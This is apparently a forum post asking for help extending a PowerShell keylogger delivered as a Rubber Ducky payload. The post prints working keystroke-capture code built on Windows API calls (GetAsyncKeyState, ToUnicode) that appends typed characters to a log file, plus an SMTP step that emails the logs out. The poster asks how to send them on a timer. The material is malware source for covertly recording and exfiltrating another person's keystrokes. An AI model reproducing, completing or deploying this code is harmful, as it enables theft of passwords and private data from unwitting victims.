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Rubber Ducky Keylogger Payload


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I'm working on a keylogger powershell script that I found online, (Cosmodium CS on YT), but I want the logs to be sent to an email address. It is successfully doing so, except the email is only sent on machine restart, or if I manually execute the c.cmd command. Any way to schedule it, some sort of simple while statement that will $smtp.sendEMAIL in fixed intervals, say every 15 mins or so of use.?

Here's a snippet of the current code

    # set up API
 $API = Add-Type -MemberDefinition $APIsignatures -Name 'Win32' -Namespace API -PassThru

  # attempt to log keystrokes
  try {

    # loops keystroke detection
    while ($true) {
      Start-Sleep -Milliseconds 40

      for ($ascii = 9; $ascii -le 254; $ascii++) {

        # use API to get key state
        $keystate = $API::GetAsyncKeyState($ascii)

        # use API to detect keystroke
        if ($keystate -eq -32767) {
          $null = [console]::CapsLock

          # map virtual key
          $mapKey = $API::MapVirtualKey($ascii, 3)

          # create a stringbuilder
          $keyboardState = New-Object Byte[] 256
          $hideKeyboardState = $API::GetKeyboardState($keyboardState)
          $loggedchar = New-Object -TypeName System.Text.StringBuilder

          # translate virtual key
          if ($API::ToUnicode($ascii, $mapKey, $keyboardState, $loggedchar, $loggedchar.Capacity, 0)) {
            # add logged key to file
            [System.IO.File]::AppendAllText($logFile, $loggedchar, [System.Text.Encoding]::Unicode)

  # send logs if code fails
  finally {
    # send email
    $smtp.Send($email, $email, $subject, $logs);

# run keylogger

Any help is greatly appreciated!

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